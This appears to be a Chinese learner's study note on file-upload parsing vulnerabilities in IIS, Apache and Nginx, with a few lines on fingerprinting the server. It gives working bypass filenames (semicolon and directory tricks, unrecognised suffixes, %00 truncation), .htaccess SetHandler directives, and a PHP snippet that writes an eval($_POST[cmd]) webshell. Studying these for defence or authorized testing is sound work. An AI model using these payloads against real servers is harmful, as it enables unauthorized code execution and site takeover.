学习笔记三十九:解析漏洞
解析漏洞:
在目前的三个主流服务器(IIS,Apache,Nginx)上。
如何探查目标是什么类型的Web服务器?
1.通过查看相应的http请求,会在头部暴露出Web服务器类型

2.安装浏览器插件

3.通过第三方网站
云悉互联网WEB资产在线梳理|在线CMS指纹识别平台 - 云悉安全平台 (yunsee.cn)
解析漏洞详情:
IIS:
IIS5.X~6.0
- 目录解析漏洞
服务器默认会把.asp,.asa目录下的文件都解析成asp文件。前提是可以控制文件上传的路径或者是文件名。
xxx.asp/xxx.jpg 在xxx.asp目录文件夹下上传xxx.jpg图片文件
- 文件名解析漏洞
服务器默认不会去解析分号后面的内容。前提是可以控制文件名。
xx.asp;.jpg
- 畸形文件名解析漏洞
iis6.0下可执行文件还有asa,cer,cdx,注意,不一定能解析aspx,asax,因为aspx,asax是.net环境。
IIS7.0/7.5
- 利用解析图片中的代码上传webshell
如果开启Fast-CGI模式,上传1.jpg,内容如下:
<?PHP fputs(fopen('dark5.php','w'),'<?php eval($_POST[cmd])?>');?> (就是以可写的方式打开dark5.php文件并在其中写入后面的一句话,并以.jpg的格式上传)
访问1.jpg/.php,那么1.jpg就会被解析执行。
- fck+iis7.5
a.aspx.a.aspx.jpg..jpg
Apache:
不可识别解析后缀
- Apache的文件解析过程是从右到左开始判断解析,如果为不可识别的后缀解析,那就再往左判断。
- 在Apache的解析中,除了“php|php3|phtml”等规定的后缀中,任何的后缀加入,都是不会被识别解析的,也会被跳过后缀处理。
dark5.php.k1.w2.a3 那么最终识别的文件就是dark5.php
.htaccess
- htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向,自定义404错误页面,改变文件扩展名,允许/阻止特定的用户或者目录的访问,禁止目录列表,配置默认文档等功能。
- 该漏洞适合用于目标web服务器为apache,并且.htaccess可以被上传执行的情况。
- 当.htaccess文件内容为SetHandler application/x-httpd-php时,即设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当作PHP执行。不符合则报错。
- 在Apache中如果需要启动.htaccess,必须在http.conf文件中设置AllowOverride为ALL

<FilesMatch "1.jpg"> SetHandler application/x-httpd-php </FilesMatch>
Nginx:
CGI
跟IIS7.0/7.5那里的CGI利用方法一样。
空子节代码执行(00截断):
dark5.jpg%00.php
浙公网安备 33010602011771号